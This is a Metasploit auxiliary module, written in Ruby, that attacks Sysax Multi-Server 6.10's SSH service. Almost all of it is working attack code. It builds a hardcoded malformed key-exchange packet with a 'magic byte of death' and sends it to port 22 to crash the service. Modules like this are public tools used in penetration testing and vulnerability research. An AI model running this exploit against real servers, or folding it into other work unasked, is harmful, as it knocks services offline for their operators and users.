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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service',
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        'Description' => %q{
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          This module sends a specially-crafted SSH Key Exchange causing the service to
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          crash.
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        },
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        'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '92081'],
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          [ 'URL', 'https://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html']
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        ],
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        'DisclosureDate' => '2013-03-17',
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(22),
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        OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1'])
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      ]
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    )
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  end
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  def get_packet
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    delimiter = "\x00" * 3
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    packet = [
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      0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
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      0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
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      0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
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      0x00, 0x7e
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    ].pack('C*')
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    packet << Rex::Text.rand_text_alphanumeric(126)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(16)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(158)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(158)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(106)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(106)
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    packet << delimiter
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    packet << "\x28" # Magic byte of death - seems to work with just about
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    # anything except \x1a, the value it's supposed to be
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    packet << Rex::Text.rand_text_alphanumeric(26)
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    packet << delimiter
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    packet << Rex::Text.rand_text_alphanumeric(27)
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    packet << delimiter * 7
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  end
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  def run
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    connect
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    banner = sock.get_once || ''
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    print_status("Banner: #{banner.strip}")
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    sock.put('SSH-2.0-OpenSSH_5.1p1 ' + datastore['CLIENTVERSION'] + "\r\n" + get_packet)
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    # Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case.
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    begin
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      sock.get_once
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    rescue Errno::ECONNRESET => e
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      vprint_error(e.message)
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    end
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    disconnect
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  end
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end
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